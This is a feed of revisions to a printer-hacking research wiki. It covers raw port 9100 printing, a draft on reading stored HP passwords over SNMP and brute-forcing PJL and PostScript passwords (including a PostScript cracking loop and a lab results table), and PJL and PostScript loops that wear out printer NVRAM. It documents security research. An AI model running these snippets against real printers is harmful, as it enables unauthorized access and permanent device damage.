<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>http://hacking-printers.net/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=134.147.128.156</id>
		<title>Hacking Printers - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="http://hacking-printers.net/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=134.147.128.156"/>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Special:Contributions/134.147.128.156"/>
		<updated>2026-06-22T13:56:37Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.26.4</generator>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Port_9100_printing&amp;diff=368</id>
		<title>Port 9100 printing</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Port_9100_printing&amp;diff=368"/>
				<updated>2017-02-05T19:35:21Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Raw-deployment-channel.png|thumb|180px|Printing over port 9100]]&lt;br /&gt;
&lt;br /&gt;
Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer – a functionality which was originally introduced by HP in the early 90s using separate hardware modules. It is the default method used by ''CUPS'' and the ''Windows printing architecture'' &amp;lt;ref&amp;gt;''[https://msdn.microsoft.com/windows/hardware/drivers/print/printer-driver-architecture Windows Printer Driver Architecture]'', Microsoft Corporation&amp;lt;/ref&amp;gt; to communicate with network printers as it is considered as ‘the simplest, fastest, and generally the most reliable network protocol used for printers’ &amp;lt;ref&amp;gt;''[https://www.cups.org/doc/network.html\#PROTOCOLS Network Protocols supported by CUPS – AppSocket Protocol]'', M. Sweet&amp;lt;/ref&amp;gt;. Raw port 9100 printing, also referred to as ''JetDirect'', ''AppSocket'' or ''PDL-datastream'' actually is not a printing protocol by itself. Instead all data sent is directly processed by the printing device, just like a parallel connection over TCP. In contrast to [[LPD]], [[IPP]] and [[SMB]] interpreted [[Fundamentals#Printer Control Languages|printer control]] or [[Fundamentals#Page Description Languages|page description]] languages can send direct feedback to the client, including status and error messages. Such a '''bidirectional channel''' is not only perfect for debugging, but gives us direct access to results of PJL, PostScript or PCL commands, for example for [information disclosure] attacks. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with [[PRET]] and [[PFT]].&lt;br /&gt;
&lt;br /&gt;
=== Who would put a printer on the Internet? ===&lt;br /&gt;
&lt;br /&gt;
Obviously, a port 9100 based attack requires IP packets to be routed from the attacker to the printer device and backwards but printers usually are not directly connected to the Internet &amp;lt;ref&amp;gt;It however must be noted that in many educational institutions it is common even today to assign a public IP address to all networked devices including printers.&amp;lt;/ref&amp;gt;. As of February 2017, the Shodan search engine [https://www.shodan.io/search?query=port:9100+pjl reveals] 48,213 printing devices '''Internet-accessible''' trough port 9100.&lt;br /&gt;
&lt;br /&gt;
[[File:Shodan.png|border|Printers reachable directly via the Internet]]&lt;br /&gt;
&lt;br /&gt;
Attacking intranet printers however may also be attractive to an '''insider'''. Imagine an employee who has motivation to obtain the department manager's payroll print job from a shared device. It is also worth mentioning that many new printers bring their own '''wireless access point''' – unencrypted by default to allow easy printing, for example via ''AirPrint'' &amp;lt;ref&amp;gt;''[https://support.apple.com/en-us/HT201311 About AirPrint]'', Apple Inc&amp;lt;/ref&amp;gt; compatible mobile apps. While connecting to a printer through Wi-Fi requires the attacker to stay physically close to the device, it may be feasible to perform her attack from outside of the targeted institution depending on the signal strength.&lt;br /&gt;
&lt;br /&gt;
→ ''Related articles:'' [[Fundamentals#High-level_overview|Fundamentals]], [[Attack carriers]], [[PRET]], [[PFT]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Credential_disclosure&amp;diff=163</id>
		<title>Credential disclosure</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Credential_disclosure&amp;diff=163"/>
				<updated>2017-01-18T17:57:11Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
== Password Disclosure ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ancient (before 2003) HP printers&lt;br /&gt;
&lt;br /&gt;
ards JetDirect 300X, (J3263A), JetDirect EX Plus (J2591A),&lt;br /&gt;
JetDirect 400N (J2552A, J2552B), JetDirect 600N (J3110A, J3111A, J3113A)&lt;br /&gt;
and older.&lt;br /&gt;
&lt;br /&gt;
-The Jetdirect card is being managed from HP Web Jetadmin.&lt;br /&gt;
&lt;br /&gt;
-A Web Jetadmin &amp;quot;device password&amp;quot; had been set on the JetDirect card.&lt;br /&gt;
(This password must be set from Web Jetadmin and has nothing to do with&lt;br /&gt;
the Telnet password or the SNMP Set community name)&lt;br /&gt;
&lt;br /&gt;
In the above situation the Web Jetadmin device password is readable as&lt;br /&gt;
plain ASCII tekst from the JetDirect card using SNMP.&lt;br /&gt;
&lt;br /&gt;
How to check your printers for this vulnerability:&lt;br /&gt;
&lt;br /&gt;
Use an SNMP toolkit to read the following OID from your printer:&lt;br /&gt;
.iso.org.dod.internet.private.enterprises.hp.nm.system.net-peripheral.ne&lt;br /&gt;
t-&lt;br /&gt;
printer.generalDeviceStatus.gdPasswords&lt;br /&gt;
(In numerical format: .1.3.6.1.4.1.11.2.3.9.1.1.13.0)&lt;br /&gt;
&lt;br /&gt;
An example on a Windows machine, using SNMPUTIL from the Windows Resource&lt;br /&gt;
kit:&lt;br /&gt;
C:\&amp;gt;snmputil get 131.155.120.118 public .1.3.6.1.4.1.11.2.3.9.1.1.13.0&lt;br /&gt;
Variable = .iso.org.dod.internet.private.enterprises.11.2.3.9.1.1.13.0&lt;br /&gt;
Value = String&lt;br /&gt;
&amp;lt;0x41&amp;gt;&amp;lt;0x42&amp;gt;&amp;lt;0x43&amp;gt;&amp;lt;0x44&amp;gt;&amp;lt;0x55&amp;gt;&amp;lt;0x56&amp;gt;&amp;lt;0x3d&amp;gt;&amp;lt;0x31&amp;gt;&amp;lt;0x30&amp;gt;&amp;lt;0x38&amp;gt;&amp;lt;0&lt;br /&gt;
x3b&amp;gt;&amp;lt;0x00&amp;gt;&amp;lt;0x00&amp;gt;&amp;lt;0x00&amp;gt;&amp;lt;0x00&amp;gt; ..etc...&lt;br /&gt;
&lt;br /&gt;
The resulting string reads in ASCII: ABCDEF=108;&lt;br /&gt;
The Web Jetadmin device password is the word before the '=' sign, in this&lt;br /&gt;
case: ABCDEF&lt;br /&gt;
&lt;br /&gt;
How to protect your printer:&lt;br /&gt;
&lt;br /&gt;
1. Keep the Web Jetadmin device password EMPTY (don't do this on&lt;br /&gt;
newer cards than the ones mentioned above)&lt;br /&gt;
2. Define a 'Set community name' instead&lt;br /&gt;
&lt;br /&gt;
Additional means of protection (does not address t&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
% \textbf{SNMP}&lt;br /&gt;
% \begin{lstlisting}[caption=Password Disclosure (older HP printers only\label{lst:snmp-passwd-disclosure}]&lt;br /&gt;
% # snmpget -v 1 -c public printed                          .1.3.6.1.4.1.11.2.3.9.1.1.13.0&lt;br /&gt;
% \end{lstlisting}&lt;br /&gt;
%&lt;br /&gt;
% idee: systemativally try to GET/SET this and pjl-password (1.3.6.1.4.1.11.2.3.9.4.2.1.3.5.1.0) this via PML/SNMP&lt;br /&gt;
%&lt;br /&gt;
% Printer-MIB, HP-LASERJET-COMMON-MIB =&amp;gt; read more mibs, e.g. webserver-passwd&lt;br /&gt;
% maybe download mibs for *all* printers and look for passwd-disclosure&lt;br /&gt;
&lt;br /&gt;
% \textbf{EWS} % Web Inferface&lt;br /&gt;
% in the early days, saved password often within html source code&lt;br /&gt;
% also: GSOAP and other web services&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lexmark SOAP&lt;br /&gt;
&lt;br /&gt;
\subsection{Credential disclosure}\label{par:eval-credential-disclosure}&lt;br /&gt;
%  obtaining web server passwords through NVRAM dumping or file system access as&lt;br /&gt;
&lt;br /&gt;
% It is worth emphasizing that the cracking is speed nearly independed of the network latency because&lt;br /&gt;
% not, only very few bytes have to be sent and the bottleneck is the printer's PJL interpreter&lt;br /&gt;
% AND because we can simply send 65535 commands at once (and maybe check for a single DISABLED response).&lt;br /&gt;
&lt;br /&gt;
% even when no feedback machanism is provided given a worst-case model as there is no challenge-response mechanism in place (aka check if passwort is correct, else job is canceled by pjl interpreter). instead we can just reset the password using all possible values of the keyspace. no backchannel/feedback needed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Printers are commonly deployed with a default password or no initial password at all. In both cases, end-user or administrators have to actively set a password to secure the device. One approach to systematically collect credentials and other information from the web server is the \textit{Praeda}\footnote{Heiland, D., \textit{Praeda -- Automated Printer Data Harvesting Tool},\\ \url{http://h.foofus.net/?page_id=218}, Aug. 2016} tool. Besides exploiting vulnerabilities that lead to disclosure of device passwords, the program gathers usernames and email addresses, which are often publicly available via the printer's web interface and can be used for further network penetration tests. One remarkable class of attacks to be mentioned in this context is pass-back attacks were `an MFP device is directed into authenticating [...] against a rogue system rather than the expected server' \cite{heiland2011passback}. This works in setups where an MFP verifies users by requesting and external \acs{LDAP} server. Note that the password to access the LDAP server is stored on the MFP itself. If the MFP allows an attacker to change the address of the LDAP server while keeping the old password, whenever someone \mbox{(e.g., the attacker itself)} tries to authenticate with the MFP, the MFP leaks the original LDAP password to the attacker-controlled server. This example shows that passwords resident on printers may not only harm the device itself if integrated into a company's network. Printers and MFPs -- which may  offer insufficient protection -- are therefore a good starting point in network penetration tests.\\&lt;br /&gt;
&lt;br /&gt;
% While Praeda does a good job in ... it does not attack the protection mechanisms in printer languages itself.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brute-Force Attacks ==&lt;br /&gt;
&lt;br /&gt;
Besides information leaked from sources like the embedded web server, printing languages offer limited passwords protection mechanisms themselves. Breaking such mechanisms has a priority in this wiki because it focuses on printer-specific weaknesses. Furthermore, whilst the routines to set the password for a printer's embedded web server differ from model to model they are standardized for both, PJL and PostScript. Although it is not very common for end-users or even administrators to set or actually know about these passwords, if enabled they can break some of the attacks discussed in this wiki. Attackers should therefore have a motivation to crack or bypass them if necessary. PJL offers the possibility to set a password to lock access to the printer's hard disk and/or control panel. The standard however allows only numerical values ranging from 1 to 65,535 as key space &amp;lt;ref&amp;gt;''[http://h10032.www1.hp.com/ctg/Manual/bpl13208.pdf Printer Job Language Technical Reference Manual]'', HP Inc., 1997, ch. 6-21&amp;lt;/ref&amp;gt;. Brute-force attacks as proposed by &amp;lt;ref&amp;gt;''Attacking Networked Embedded Devices'', Black Hat USA, FX and FtR of Phenoelit, 2002&amp;lt;/ref&amp;gt; thus seem feasible. PostScript offers two types of passwords: one to change long-term system settings, the other to permanently alter the PostScript environment. The standard makes no explicit statement about key sizes, however both passwords are of type ''string'' which means up to 65,535 characters &amp;lt;ref&amp;gt;''[https://www.adobe.com/products/postscript/pdfs/PLRM.pdf PostScript Language Reference Manual, 3rd Edition]'', Adobe Systems Inc., 1999, p. 739&amp;lt;/ref&amp;gt;. On the other hand, for simple passwords brute-force is very fast as passwords can be verified within a PostScript program running on the printer device itself. Performance can therefore be compared to offline cracking.&lt;br /&gt;
&lt;br /&gt;
An evaluation of brute-force attacks against PJL and PostScript passwords is given in \autoref{par:eval-credential-disclosure}. In the prototype implementation, the \texttt{lock} and \texttt{unlock} commands are used for setting and cracking passwords.&lt;br /&gt;
&lt;br /&gt;
In addition to web server passwords which can be obtained by memory or file system access as previously described, printer language credentials themselves are a valuable target as they are required for some of the attacks described in this work. For example, PJL disk lock as shown in \autoref{lst:pjl-passwd} is the defense mechanism propagated by HP against PJL file system access, including known path traversal vulnerabilities \cite{hp2010pjl}. PJL passwords however are vulnerable to brute-force attacks because of their limited 16 bit key size as demonstrated by \cite{phenoelit2002embedded} who were able to unlock the disk protection within six hours in the worst case. With PJL interpreters having gotten faster while the PJL standard was never updated and still limits passwords to numerical values ranging from 1 to 65535 \cite{hp1997pjl}, cracking time has efficiently decreased. The devices in our test printer pool, could verify between 50 and 1,000 passwords per second leading to average cracking times between 30 seconds and ten minutes as shown in \autoref{tab:cracking-results}.&lt;br /&gt;
&lt;br /&gt;
\begin{lstlisting}[caption=PJL control panel and disk lock\label{lst:pjl-passwd}]&lt;br /&gt;
@PJL JOB PASSWORD=0&lt;br /&gt;
@PJL DEFAULT PASSWORD=12345&lt;br /&gt;
@PJL DEFAULT DISKLOCK=ON&lt;br /&gt;
@PJL DEFAULT CPLOCK=ON&lt;br /&gt;
\end{lstlisting}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''How to test this attack?'''&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
 &lt;br /&gt;
  Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
  printer:/&amp;gt; flood&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?'''&lt;br /&gt;
&lt;br /&gt;
Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]]. Feedback from the printer is not required because attackers can blindly remove the password protection by including all 65535 possible combinations in a single print job.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that while PJL passwords could be set on various devices, actual disk lock and/or control panel lock was only supported by the \textit{HP LaserJet 4200N}, the \textit{HP LaserJet 4250N}, the \textit{Brother MFC-9120CN} and the \textit{Konica bizhub 20p}. We are not aware if the password has any undocumented, proprietary effects on the other machines or is just a dummy variable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Non-compliant with the PJL standard, the \textit{Brother MFC-9120CN}, the \textit{Brother DCP-9045CDN} and the \textit{Konica bizhub 20p} do not verify the password to lock or unlock the control panel, rendering it practically useless.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PostScript has similar protection mechanisms: The \textit{SystemParamsPassword} is used to change print job settings like paper size while the \textit{StartJobPassword} is required to exit the server loop and therefore permanently alter the PostScript environment. The \texttt{checkpassword} operator which takes either an integer or a string as input checks for both passwords at once \cite{adobe1995supplement}. The key size is very large: PostScript strings can contain arbitrary \acs{ASCII} characters and have a maximal length of 65565 \cite{postscript1999language} which theoretically allows 524,280 bit passwords. On the positive side, \mbox{brute-force} attacks against PostScript passwords can be performed extremely fast because the PostScript interpreter can be programmed to literally crack itself. A simple PostScript password cracker testing for numerical values as passwords is given below:&lt;br /&gt;
&lt;br /&gt;
  /min 0 def /max 1000000 def&lt;br /&gt;
  statusdict begin {&lt;br /&gt;
    min 1 max&lt;br /&gt;
    {dup checkpassword {== flush stop} {pop} ifelse} for&lt;br /&gt;
  } stopped pop&lt;br /&gt;
  \end{lstlisting}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Results are given in \autoref{tab:cracking-results}. Tested printers were capable of performing between 5,000 and 100,000 password verifications per second. Such  	enormous cracking rates can be achieved because a printer's \acs{RIP} is highly optimized for fast processing of PostScript code. The \textit{Brother MFC-9120CN}, the \textit{Brother DCP-9045CDN} and the \textit{Konica bizhub 20p} are exceptions. They only accept one password per second but also check for the very first character of the password only which effectively limits the key size to 256 characters or 8 bit. The \textit{Samsung CLX-3305W} and the \textit{Samsung MultiPress 6345N} do not allow PostScript feedback and their printing functionality is mechanically broken, so we used a side-channel based on timing to estimate cracking speed. The \textit{Kyocera FS-C5200DN} does not support permanent PostScript passwords.&lt;br /&gt;
&lt;br /&gt;
% on Konica, we can simply DINQUIRE the PASSWORD:&lt;br /&gt;
% 110.143.198.48:/&amp;gt; lock 1&lt;br /&gt;
% PIN protection:  6500&lt;br /&gt;
% also not tehat for the dells, the dingquire command showed the password&lt;br /&gt;
&lt;br /&gt;
% newer devices use 2,14mio possibilities (deskjet?)&lt;br /&gt;
&lt;br /&gt;
\begin{table}[H] % n/a*: Brother devices extrawurst | n/a**: dell devices echo the password&lt;br /&gt;
\begin{tabularx}{\textwidth}{|X|r|r|r|r|}&lt;br /&gt;
  \hline&lt;br /&gt;
  Printer model             &amp;amp; \multicolumn{2}{c|}{PJL passwords}   &amp;amp; \multicolumn{2}{c|}{PostScript passwords}\\&lt;br /&gt;
  \cline{2-5}&lt;br /&gt;
                            &amp;amp;  key size &amp;amp;  tests/sec &amp;amp;      key size &amp;amp;  tests/sec\\&lt;br /&gt;
  \hline&lt;br /&gt;
  \hline                                            %  $2^{19}$&lt;br /&gt;
  HP LaserJet 1200          &amp;amp;   16 bit &amp;amp;        200 &amp;amp;  524,280 bit &amp;amp;    5,000 \\ % 192.168.50.48            | PS: 170&lt;br /&gt;
  HP LaserJet 4200N         &amp;amp;   16 bit &amp;amp;        200 &amp;amp;  524,280 bit &amp;amp;   91,000 \\ % 192.168.50.30    ON  ON  | PS: 11&lt;br /&gt;
  HP LaserJet 4250N         &amp;amp;   16 bit &amp;amp;        130 &amp;amp;  524,280 bit &amp;amp;  100,000 \\ % 192.168.50.110   ON  ON  | PS: 10&lt;br /&gt;
  HP LaserJet P2015dn       &amp;amp;   16 bit &amp;amp;      1,000 &amp;amp;  524,280 bit &amp;amp;   83,000 \\ % 192.168.50.45            | PS: 12&lt;br /&gt;
  HP LaserJet M2727nfs      &amp;amp;   16 bit &amp;amp;        100 &amp;amp;  524,280 bit &amp;amp;  100,000 \\ % 192.168.50.38            | PS: 10&lt;br /&gt;
  HP LaserJet 3392 AiO      &amp;amp;   16 bit &amp;amp;      1,000 &amp;amp;  524,280 bit &amp;amp;   53,000 \\ % 192.168.50.36            | PS: 19&lt;br /&gt;
  HP Color LJ CP1515n       &amp;amp;   16 bit &amp;amp;      1,000 &amp;amp;  524,280 bit &amp;amp;  100,000 \\ % 192.168.50.42            | PS: 10&lt;br /&gt;
  Brother MFC-9120CN        &amp;amp;   16 bit &amp;amp;        n/a &amp;amp;        8 bit &amp;amp;        1 \\ % 192.168.50.37    ON UN   | PS: BROTHER | n/a*&lt;br /&gt;
  Brother DCP-9045CDN       &amp;amp;   16 bit &amp;amp;        n/a &amp;amp;        8 bit &amp;amp;        1 \\ % 192.168.50.34            | PS: BROTHER | n/a*&lt;br /&gt;
  Lexmark X264dn            &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;    5,000 \\ % 192.168.50.39            | PS: 170&lt;br /&gt;
  Lexmark E360dn            &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;    8,000 \\ % 192.168.50.43            | PS: 120&lt;br /&gt;
  Lexmark C736dn            &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;   53,000 \\ % 192.168.50.202           | PS: 19&lt;br /&gt;
  Dell 5130cdn              &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;   62,000 \\ % 192.168.50.24            | PS: 16      | n/a**&lt;br /&gt;
  Dell 1720n                &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;   12,000 \\ % 192.168.50.44            | PS: 80&lt;br /&gt;
  Dell 3110cn               &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;   50,000 \\ % 192.168.50.33            | PS: HMMM    | n/a**&lt;br /&gt;
  Kyocera FS-C5200DN        &amp;amp;   16 bit &amp;amp;         50 &amp;amp;          n/a &amp;amp;      n/a \\ % 192.168.50.35  OFF  OFF  | PS: --&lt;br /&gt;
  Samsung CLX-3305W         &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;   62,000 \\ % 192.168.50.87            | PS: HMMM&lt;br /&gt;
  Samsung MultiPress 6345N  &amp;amp;      n/a &amp;amp;        n/a &amp;amp;          n/a &amp;amp;      n/a \\ % 192.168.50.92            | PS: HMMM&lt;br /&gt;
  Konica bizhub 20p         &amp;amp;   16 bit &amp;amp;        n/a &amp;amp;        8 bit &amp;amp;        1 \\ % 192.168.50.123   ON  UN  | PS: BROTHER | n/a*&lt;br /&gt;
  OKI MC342dn               &amp;amp;      n/a &amp;amp;        n/a &amp;amp;  524,280 bit &amp;amp;   38,000 \\ % 192.168.50.127&lt;br /&gt;
% \hline&lt;br /&gt;
% Konica bizhub C454e       &amp;amp;   16 bit &amp;amp;         50 &amp;amp;  524,280 bit &amp;amp;        ? \\&lt;br /&gt;
  \hline&lt;br /&gt;
\end{tabularx}&lt;br /&gt;
\caption{Exhaustive key search in PJL and PostScript}&lt;br /&gt;
\label{tab:cracking-results}&lt;br /&gt;
\end{table}&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Physical_damage&amp;diff=112</id>
		<title>Physical damage</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Physical_damage&amp;diff=112"/>
				<updated>2017-01-14T17:41:42Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Long-term settings for printers and other embedded devices are stored in non-volatile memory ([https://en.wikipedia.org/wiki/Non-volatile_random-access_memory NVRAM]) which is traditionally implemented either as [https://en.wikipedia.org/wiki/EEPROM EEPROM] or as [https://en.wikipedia.org/wiki/Flash_memory flash memory]. Both components have a limited lifetime. On early HP LaserJets `flash chips would only sustain about 1000-2000 cycles of re-writing' &amp;lt;ref&amp;gt;''[http://blog.cyrtech.de/sites/default/files/Counting%20Pages%20in%20Printer%20Data%20Streams%20%28D2%29.pdf Counting Pages in Printer Data Streams]'', J. Deußen, 2011, p. 36&amp;lt;/ref&amp;gt;. Today, vendors of flash memory guarantee about 100,000 rewrites before any write errors may occur. This number sounds large, but [[PJL]] and [[PostScript]] print jobs themselves can change long-term settings like paper tray media sizes or control panel passwords. Doing this a lot of times on purpose can be a realistic attack scenario leading to physical destruction of the NVRAM. Note that printing functionality itself is not affected but fixed settings containing wrong values can make the device practically unusable.&lt;br /&gt;
&lt;br /&gt;
== PJL ==&lt;br /&gt;
&lt;br /&gt;
For a practical test to destroy NVRAM write functionality one can continuously set the long-term value for the number of copies with different values for &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 @PJL DEFAULT COPIES=X&lt;br /&gt;
&lt;br /&gt;
In an evalation with 20 laser printers, eight devices indicated a corrupt NVRAM within 24 hours &amp;lt;ref&amp;gt;''[http://homepages.rub.de/jens.mueller-2/publications/2016-exploiting-network-printers.pdf Exploiting Network Printers]'', J. Müller, 2016, p. 41&amp;lt;/ref&amp;gt;. Some EEPROM error codes, while others completely refused to set any long-term values anymore. The impact of such physical NVRAM destruction however is limited for two reasons: First, NVRAM parameters were not frozen at their current state (which would have been a random number of copies) but instead fixed to the factory default value. Secondly, all variables could still be changed for the current print job using the &amp;lt;code&amp;gt;@PJL SET...&amp;lt;/code&amp;gt; command. Only the functionality to change long-term settings was broken.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer pjl&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
&lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; destroy&lt;br /&gt;
 Warning: This command tries to cause physical damage to the&lt;br /&gt;
 printer NVRAM. Use at your own risk. Press CTRL+C to abort.&lt;br /&gt;
 Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!&lt;br /&gt;
 Dave, stop. Stop, will you? Stop, Dave. Will you stop, Dave?&lt;br /&gt;
 [... wait for about 24 hours ...]&lt;br /&gt;
 I'm afraid. I'm afraid, Dave. Dave, my mind is going...&lt;br /&gt;
 NVRAM died after 543894 cycles, 18:46:11&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?''' The attack can only be performed by an attacker who has the capability to establish various [[Port 9100 printing|network connections]] over a longer period of time. A [[USB drive or cable|local attacker]] sneaking into a copy room usually does not have enough time to send a continuous datastream of for about 24 hours hours &amp;lt;ref&amp;gt;''Note that it might theoretically be possible to start a large print job – approximately several hundred megabytes of malicious PJL commands – from USB stick on a Friday afternoon and just walk away.''&amp;lt;/ref&amp;gt;. However, she can use an axe or a hammer to cause physical damage. In a [[cross-site printing]] scenario, the victim would have to keep an attacker-controlled web site open for hours which may also be considered unrealistic &amp;lt;ref&amp;gt;''Unless you find XSS on Facebook, in which case the impact of broken printers may be negligible.''&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== PostScript ==&lt;br /&gt;
&lt;br /&gt;
For PostScript, one needs to find an entry in the ''currentsystemparams'' dictionary which survives a reboot (and therefore must be stored in some kind of NVRAM). A good candidate are PostScript passwords as discussed in [[credential disclosure]]. System parameters can be incremented in a PostScript loop as show below, which can lead to a large number of NVRAM write cycles per second if the printers hardware is implemented to write values directly instead of caching them:&lt;br /&gt;
&lt;br /&gt;
 /counter 0 def&lt;br /&gt;
 { &amp;lt;&amp;lt; /Password counter 16 string cvs&lt;br /&gt;
      /SystemParamsPassword counter 1 add 16 string cvs&lt;br /&gt;
   &amp;gt;&amp;gt; setsystemparams /counter counter 1 add def&lt;br /&gt;
 } loop&lt;br /&gt;
&lt;br /&gt;
Such ideas are not new: The first PostScript malware in the wild, which appeared in 1990, applied the ''setpassword'' operator multiple times which quickly led to the password becoming unchangeable because of very limited EPROM write cycles on early LaserWriter printers &amp;lt;ref&amp;gt;''[http://web.archive.org/web/20010720184200/http://www.sevenlocks.com/password/pspass.txt New PostScript Virus!?]'', CompuServe Desktop Publishing Forum (via archive.org), 1990&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;''[http://www.faqs.org/faqs/computer-virus/macintosh-faq/ Viruses and the Macintosh]'', D. Harley, 2000&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''How to test for this attack?'''&lt;br /&gt;
&lt;br /&gt;
The feasibility of this attack, which has been implemented as the ''destroy'' command in [[PRET]] can be tested as follows:&lt;br /&gt;
&lt;br /&gt;
 ./pret.py -q printer ps&lt;br /&gt;
 Connection to printer established&lt;br /&gt;
&lt;br /&gt;
 Welcome to the pret shell. Type help or ? to list commands.&lt;br /&gt;
 printer:/&amp;gt; destroy&lt;br /&gt;
 Warning: This command tries to cause physical damage to the&lt;br /&gt;
 printer NVRAM. Use at your own risk. Press CTRL+C to abort.&lt;br /&gt;
 Starting NVRAM write cycle loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM!&lt;br /&gt;
 NVRAM write cycles: 1000, 2000, 3000, ...&lt;br /&gt;
&lt;br /&gt;
'''Who can perform this attack?''' Any anyone who can print, for example through [[USB drive or cable]], [[Port 9100 printing]] or [[Cross-site printing]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;/div&gt;</summary>
		<author><name>134.147.128.156</name></author>	</entry>

	<entry>
		<id>http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=111</id>
		<title>Buffer overflows</title>
		<link rel="alternate" type="text/html" href="http://hacking-printers.net/wiki/index.php?title=Buffer_overflows&amp;diff=111"/>
				<updated>2017-01-14T17:40:02Z</updated>
		
		<summary type="html">&lt;p&gt;134.147.128.156: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;While the risk of [https://en.wikipedia.org/wiki/Buffer_overflow buffer overflows] is well-known &amp;lt;ref&amp;gt;''[http://phrack.org/issues/49/14.html Smashing The Stack For Fun And Profit]'', Aleph One, Phrack magazine #49, 1996, p. 14-16&amp;lt;/ref&amp;gt; and not limited to printers, it must be noted that printers provide additional languages and network services, potentially prone to this kind of attack. Exploitation may lead to denial of service or – given correct shellcode and return address – even to remote code execution. Buffer overflows are particularly dangerous on embedded devices, as they may have no protection mechanisms like [https://en.wikipedia.org/wiki/Address_space_layout_randomization ASLR], [https://en.wikipedia.org/wiki/NX_bit NX/DEP] or user separation, so all executed code is run as superuser.&lt;br /&gt;
&lt;br /&gt;
== PJL input ==&lt;br /&gt;
&lt;br /&gt;
[[PJL]] processors may be vulnerable to buffer overflows if the given input exceeds the buffer size. For example, various ''Lexmark'' laser printers crash when when receiving about 1.000 characters as the ''INQUIRE'' argument (see [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0619 CVE-2010-0619]):&lt;br /&gt;
&lt;br /&gt;
